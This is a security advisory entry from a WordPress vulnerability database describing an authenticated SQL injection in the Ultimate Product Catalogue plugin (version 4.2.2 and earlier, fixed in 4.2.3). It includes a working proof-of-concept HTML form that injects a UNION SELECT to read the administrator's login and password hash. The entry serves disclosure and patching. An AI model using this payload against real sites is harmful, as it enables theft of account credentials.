Ultimate Product Catalogue <= 4.2.2 – Authenticated SQL Injection

Description

Type user access: subscriber upwards.

$_POST[‘CatID’] is not escaped.

File / Code:

Path: /wp-content/plugins/ultimate-product-catalogue/Functions/Process_Ajax.php

Proof of Concept

<form method="post" action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<input type="text" name="CatID" value="0 UNION SELECT user_login,user_pass FROM wp_users WHERE ID=1">
<input type="submit">

Affects Plugins

ultimate-product-catalogue

Fixed in 4.2.3

References

URL

https://lenonleite.com.br/en/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/

Classification

Type

SQLI

OWASP top 10

A1: Injection

CWE

CWE-89

Miscellaneous

Submitter

Lenon Leite / Log.pt

Submitter website

http://lenonleite.com.br/

Submitter twitter

log_oscon

Verified

Yes

WPVDB ID

a8123d7e-e91f-4939-ba3f-fe3fc07db947

Timeline

Publicly Published

2017-06-27 (about 8 years ago)

Added

2017-06-28 (about 8 years ago)

Last Updated

2019-11-01 (about 6 years ago)

Other

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